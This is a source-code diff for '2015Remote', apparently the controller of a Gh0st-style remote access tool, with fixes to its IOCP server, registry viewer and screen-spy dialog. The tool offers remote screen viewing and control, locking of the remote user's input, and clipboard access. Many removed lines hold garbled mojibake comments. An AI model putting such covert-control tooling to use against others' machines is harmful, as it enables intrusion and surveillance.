//<2F><>Ϊ<EFBFBD><CEAA><EFBFBD>ǽ<EFBFBD><C7BD>ܵ<EFBFBD><DCB5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ǿͽ<C7BE><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><CDB8><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ɶ˿<C9B6> <20><><EFBFBD><EFBFBD><EFBFBD>ǵĹ<C7B5><C4B9><EFBFBD><EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||||
{
|
{
|
||||||
|
int a = GetLastError();
|
||||||
|
OutputDebugStringA("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
return;
|
return;
|
||||||
@@ -707,6 +749,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
|
|||||||
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
|
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
|
||||||
{
|
{
|
||||||
int a = GetLastError();
|
int a = GetLastError();
|
||||||
|
OutputDebugStringA("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||||
RemoveStaleContext(ContextObject);
|
RemoveStaleContext(ContextObject);
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
}
|
}
|
||||||
@@ -718,6 +761,10 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext()
|
|||||||
|
|
||||||
CLock cs(m_cs);
|
CLock cs(m_cs);
|
||||||
|
|
||||||
|
if (m_ContextConnectionList.GetCount() >= m_ulMaxConnections) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
ContextObject = !m_ContextFreePoolList.IsEmpty() ? m_ContextFreePoolList.RemoveHead() : new CONTEXT_OBJECT;
|
ContextObject = !m_ContextFreePoolList.IsEmpty() ? m_ContextFreePoolList.RemoveHead() : new CONTEXT_OBJECT;
|
||||||
|
|
||||||
if (ContextObject != NULL)
|
if (ContextObject != NULL)
|
||||||
@@ -764,3 +811,8 @@ VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject)
|
|||||||
m_ContextConnectionList.RemoveAt(Pos); //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>ṹ<EFBFBD><E1B9B9><EFBFBD>Ƴ<EFBFBD>
|
m_ContextConnectionList.RemoveAt(Pos); //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>ṹ<EFBFBD><E1B9B9><EFBFBD>Ƴ<EFBFBD>
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void IOCPServer::UpdateMaxConnection(int maxConn) {
|
||||||
|
CLock cs(m_cs);
|
||||||
|
m_ulMaxConnections = maxConn;
|
||||||
|
}
|
||||||
|
|||||||
@@ -72,11 +72,11 @@ public:
|
|||||||
|
|
||||||
ULONG m_ulKeepLiveTime;
|
ULONG m_ulKeepLiveTime;
|
||||||
|
|
||||||
char m_szPacketFlag[FLAG_LENGTH];
|
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||||
|
|
||||||
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||||
|
|
||||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||||
BOOL InitializeIOCP(VOID);
|
BOOL InitializeIOCP(VOID);
|
||||||
@@ -104,6 +104,7 @@ public:
|
|||||||
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||||
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength);
|
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength);
|
||||||
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
||||||
|
void UpdateMaxConnection(int maxConn);
|
||||||
IOCPServer(void);
|
IOCPServer(void);
|
||||||
~IOCPServer(void);
|
~IOCPServer(void);
|
||||||
|
|
||||||
@@ -138,6 +139,7 @@ protected:
|
|||||||
CRITICAL_SECTION* m_cs;
|
CRITICAL_SECTION* m_cs;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#define TRACK_OVERLAPPEDPLUS 0
|
||||||
|
|
||||||
class OVERLAPPEDPLUS
|
class OVERLAPPEDPLUS
|
||||||
{
|
{
|
||||||
@@ -148,9 +150,9 @@ public:
|
|||||||
|
|
||||||
OVERLAPPEDPLUS(IOType ioType)
|
OVERLAPPEDPLUS(IOType ioType)
|
||||||
{
|
{
|
||||||
#if 0
|
#if TRACK_OVERLAPPEDPLUS
|
||||||
char szLog[100];
|
char szLog[100];
|
||||||
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId());
|
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||||
OutputDebugStringA(szLog);
|
OutputDebugStringA(szLog);
|
||||||
#endif
|
#endif
|
||||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||||
@@ -159,9 +161,9 @@ public:
|
|||||||
|
|
||||||
~OVERLAPPEDPLUS()
|
~OVERLAPPEDPLUS()
|
||||||
{
|
{
|
||||||
#if 0
|
#if TRACK_OVERLAPPEDPLUS
|
||||||
char szLog[100];
|
char szLog[100];
|
||||||
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %x by thread [%d].\n", this, GetCurrentThreadId());
|
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||||
OutputDebugStringA(szLog);
|
OutputDebugStringA(szLog);
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -214,16 +214,18 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath)
|
|||||||
void CRegisterDlg::OnReceiveComplete(void)
|
void CRegisterDlg::OnReceiveComplete(void)
|
||||||
{
|
{
|
||||||
m_bIsWorking = TRUE;
|
m_bIsWorking = TRUE;
|
||||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||||
{
|
{
|
||||||
case TOKEN_REG_PATH:
|
case TOKEN_REG_PATH:
|
||||||
{
|
{
|
||||||
AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||||
|
AddPath(tmp.c_str());
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_REG_KEY:
|
case TOKEN_REG_KEY:
|
||||||
{
|
{
|
||||||
AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
|
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||||
|
AddKey(tmp.c_str());
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -289,12 +291,13 @@ void CRegisterDlg::AddKey(char* szBuffer)
|
|||||||
}
|
}
|
||||||
if(Type==MREG_DWORD)
|
if(Type==MREG_DWORD)
|
||||||
{
|
{
|
||||||
char ValueDate[256];
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD> REG_DWORD <20><><EFBFBD>͵Ĵ<CDB5><C4B4><EFBFBD>
|
||||||
|
char ValueDate[256] = {0};
|
||||||
DWORD d=(DWORD)szValueDate;
|
DWORD d=(DWORD)szValueDate;
|
||||||
memcpy((void*)&d,szValueDate,sizeof(DWORD));
|
memcpy((void*)&d,szValueDate,sizeof(DWORD));
|
||||||
CString strValue;
|
CString strValue;
|
||||||
strValue.Format("0x%x",d);
|
strValue.Format("0x%x",d);
|
||||||
sprintf(ValueDate," (%wd)",d);
|
sprintf(ValueDate," (%d)",d);
|
||||||
strValue+=" ";
|
strValue+=" ";
|
||||||
strValue+=ValueDate;
|
strValue+=ValueDate;
|
||||||
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||||
@@ -303,8 +306,9 @@ void CRegisterDlg::AddKey(char* szBuffer)
|
|||||||
}
|
}
|
||||||
if(Type==MREG_BINARY)
|
if(Type==MREG_BINARY)
|
||||||
{
|
{
|
||||||
char ValueDate[256];
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD> REG_BINARY <20><><EFBFBD>͵Ĵ<CDB5><C4B4><EFBFBD>
|
||||||
sprintf(ValueDate,"%wd",szValueDate);
|
char ValueDate[256] = {0};
|
||||||
|
sprintf(ValueDate,"%s",szValueDate);
|
||||||
|
|
||||||
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||||
m_ControlList.SetItemText(iItem,1,"REG_BINARY");
|
m_ControlList.SetItemText(iItem,1,"REG_BINARY");
|
||||||
|
|||||||
@@ -1,24 +1,25 @@
|
|||||||
// ScreenSpyDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
// ScreenSpyDlg.cpp : 实现文件
|
||||||
//
|
//
|
||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
#include "ScreenSpyDlg.h"
|
#include "ScreenSpyDlg.h"
|
||||||
#include "afxdialogex.h"
|
#include "afxdialogex.h"
|
||||||
|
#include <imm.h>
|
||||||
|
|
||||||
|
|
||||||
// CScreenSpyDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
|
// CScreenSpyDlg 对话框
|
||||||
|
|
||||||
enum
|
enum
|
||||||
{
|
{
|
||||||
IDM_CONTROL = 0x1010,
|
IDM_CONTROL = 0x1010,
|
||||||
IDM_FULLSCREEN,
|
IDM_FULLSCREEN,
|
||||||
IDM_SEND_CTRL_ALT_DEL,
|
IDM_SEND_CTRL_ALT_DEL,
|
||||||
IDM_TRACE_CURSOR, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾԶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
|
||||||
IDM_BLOCK_INPUT, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
IDM_BLOCK_INPUT, // 锁定远程计算机输入
|
||||||
IDM_SAVEDIB, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼƬ
|
IDM_SAVEDIB, // 保存图片
|
||||||
IDM_GET_CLIPBOARD, // <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
IDM_GET_CLIPBOARD, // 获取剪贴板
|
||||||
IDM_SET_CLIPBOARD, // <EFBFBD><EFBFBD><EFBFBD>ü<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
IDM_SET_CLIPBOARD, // 设置剪贴板
|
||||||
};
|
};
|
||||||
|
|
||||||
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||||
@@ -28,6 +29,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
|||||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||||
: CDialog(CScreenSpyDlg::IDD, Parent)
|
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||||||
{
|
{
|
||||||
|
ImmDisableIME(0);// 禁用输入法
|
||||||
m_bFullScreen = FALSE;
|
m_bFullScreen = FALSE;
|
||||||
|
|
||||||
m_iocpServer = IOCPServer;
|
m_iocpServer = IOCPServer;
|
||||||
@@ -35,9 +37,9 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
|
|||||||
|
|
||||||
CHAR szFullPath[MAX_PATH];
|
CHAR szFullPath[MAX_PATH];
|
||||||
GetSystemDirectory(szFullPath, MAX_PATH);
|
GetSystemDirectory(szFullPath, MAX_PATH);
|
||||||
lstrcat(szFullPath, "\\shell32.dll"); //ͼ<EFBFBD><EFBFBD>
|
lstrcat(szFullPath, "\\shell32.dll"); //图标
|
||||||
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
|
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
|
||||||
m_hCursor = LoadCursor(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDC_ARROW));
|
m_hCursor = LoadCursor(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDC_ARROWS));
|
||||||
|
|
||||||
sockaddr_in ClientAddr;
|
sockaddr_in ClientAddr;
|
||||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||||
@@ -52,8 +54,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
|
|||||||
|
|
||||||
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||||||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];
|
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];
|
||||||
|
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1);
|
||||||
memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength);
|
|
||||||
|
|
||||||
m_bIsCtrl = FALSE;
|
m_bIsCtrl = FALSE;
|
||||||
m_bIsTraceCursor = FALSE;
|
m_bIsTraceCursor = FALSE;
|
||||||
@@ -76,7 +77,7 @@ CScreenSpyDlg::~CScreenSpyDlg()
|
|||||||
}
|
}
|
||||||
|
|
||||||
::ReleaseDC(m_hWnd, m_hFullDC); //GetDC
|
::ReleaseDC(m_hWnd, m_hFullDC); //GetDC
|
||||||
::DeleteDC(m_hFullMemDC); //Createƥ<EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>DC
|
::DeleteDC(m_hFullMemDC); //Create匹配内存DC
|
||||||
|
|
||||||
::DeleteObject(m_BitmapHandle);
|
::DeleteObject(m_BitmapHandle);
|
||||||
if (m_BitmapData_Full!=NULL)
|
if (m_BitmapData_Full!=NULL)
|
||||||
@@ -106,7 +107,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
|||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
// CScreenSpyDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// CScreenSpyDlg 消息处理程序
|
||||||
|
|
||||||
|
|
||||||
BOOL CScreenSpyDlg::OnInitDialog()
|
BOOL CScreenSpyDlg::OnInitDialog()
|
||||||
@@ -115,37 +116,37 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
SetIcon(m_hIcon,FALSE);
|
SetIcon(m_hIcon,FALSE);
|
||||||
|
|
||||||
CString strString;
|
CString strString;
|
||||||
strString.Format("%s - Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> %d<EFBFBD><EFBFBD>%d", m_strClientIP,
|
strString.Format("%s - 远程桌面控制 %d×%d", m_strClientIP,
|
||||||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
SetWindowText(strString);
|
SetWindowText(strString);
|
||||||
|
|
||||||
m_hFullDC = ::GetDC(m_hWnd);
|
m_hFullDC = ::GetDC(m_hWnd);
|
||||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||||
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>ġ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD>ص<EFBFBD>λͼ
|
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //创建应用程序可以直接写入的、与设备无关的位图
|
||||||
|
|
||||||
SelectObject(m_hFullMemDC, m_BitmapHandle);//<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD>
|
SelectObject(m_hFullMemDC, m_BitmapHandle);//择一对象到指定的设备上下文环境
|
||||||
|
|
||||||
SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Сֵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //指定滚动条范围的最小值和最大值
|
||||||
SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768
|
SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768
|
||||||
|
|
||||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||||
if (SysMenu != NULL)
|
if (SysMenu != NULL)
|
||||||
{
|
{
|
||||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||||
SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ(&Y)");
|
SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
|
||||||
SysMenu->AppendMenu(MF_STRING, IDM_FULLSCREEN, "ȫ<EFBFBD><EFBFBD>(&F)");
|
SysMenu->AppendMenu(MF_STRING, IDM_FULLSCREEN, "全屏(&F)");
|
||||||
SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "<EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&T)");
|
SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪被控端鼠标(&T)");
|
||||||
SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD>(&L)");
|
SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定被控端鼠标和键盘(&L)");
|
||||||
SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&S)");
|
SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
|
||||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||||
SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&R)");
|
SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
|
||||||
SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "<EFBFBD><EFBFBD><EFBFBD>ü<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&L)");
|
SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
|
||||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||||
}
|
}
|
||||||
|
|
||||||
m_bIsCtrl = FALSE; //<EFBFBD><EFBFBD><EFBFBD>ǿ<EFBFBD><EFBFBD><EFBFBD>
|
m_bIsCtrl = FALSE; //不是控制
|
||||||
m_bIsTraceCursor = FALSE; //<EFBFBD><EFBFBD><EFBFBD>Ǹ<EFBFBD><EFBFBD><EFBFBD>
|
m_bIsTraceCursor = FALSE; //不是跟踪
|
||||||
m_ClientCursorPos.x = 0;
|
m_ClientCursorPos.x = 0;
|
||||||
m_ClientCursorPos.y = 0;
|
m_ClientCursorPos.y = 0;
|
||||||
m_bCursorIndex = 0;
|
m_bCursorIndex = 0;
|
||||||
@@ -175,7 +176,7 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
|||||||
{
|
{
|
||||||
assert (m_ContextObject);
|
assert (m_ContextObject);
|
||||||
|
|
||||||
switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0])
|
switch(m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||||
{
|
{
|
||||||
case TOKEN_FIRSTSCREEN:
|
case TOKEN_FIRSTSCREEN:
|
||||||
{
|
{
|
||||||
@@ -184,7 +185,7 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
|||||||
}
|
}
|
||||||
case TOKEN_NEXTSCREEN:
|
case TOKEN_NEXTSCREEN:
|
||||||
{
|
{
|
||||||
if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF)
|
if (m_ContextObject->InDeCompressedBuffer.GetBYTE(1)==ALGORITHM_DIFF)
|
||||||
{
|
{
|
||||||
DrawNextScreenDiff();
|
DrawNextScreenDiff();
|
||||||
}
|
}
|
||||||
@@ -192,8 +193,8 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
|||||||
}
|
}
|
||||||
case TOKEN_CLIPBOARD_TEXT:
|
case TOKEN_CLIPBOARD_TEXT:
|
||||||
{
|
{
|
||||||
UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1),
|
Buffer str = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||||
m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1);
|
UpdateServerClipboard(str.c_str(), str.length());
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -203,19 +204,19 @@ VOID CScreenSpyDlg::DrawFirstScreen(void)
|
|||||||
{
|
{
|
||||||
m_bIsFirst = FALSE;
|
m_bIsFirst = FALSE;
|
||||||
|
|
||||||
//<EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>HBITMAP<41>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ<EFBFBD><CDBC><EFBFBD>ͳ<EFBFBD><CDB3><EFBFBD><EFBFBD><EFBFBD>
|
//得到被控端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了
|
||||||
memcpy(m_BitmapData_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
|
||||||
|
|
||||||
PostMessage(WM_PAINT);//<2F><><EFBFBD><EFBFBD>WM_PAINT<4E><54>Ϣ
|
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage, 1);
|
||||||
|
PostMessage(WM_PAINT);//触发WM_PAINT消息
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
||||||
{
|
{
|
||||||
//<EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǹ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>±仯<EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
|
||||||
//OnPaint<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ
|
//OnPaint画上去
|
||||||
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>Ƿ<EFBFBD><EFBFBD>仯<EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>ػ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>꣬<EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸
|
//根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
|
||||||
BOOL bChange = FALSE;
|
BOOL bChange = FALSE;
|
||||||
ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // <EFBFBD><EFBFBD>ʶ + <EFBFBD>㷨 + <EFBFBD><EFBFBD><EFBFBD><EFBFBD> λ<><CEBB> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标 位置 + 光标类型索引
|
||||||
LPVOID FirstScreenData = m_BitmapData_Full;
|
LPVOID FirstScreenData = m_BitmapData_Full;
|
||||||
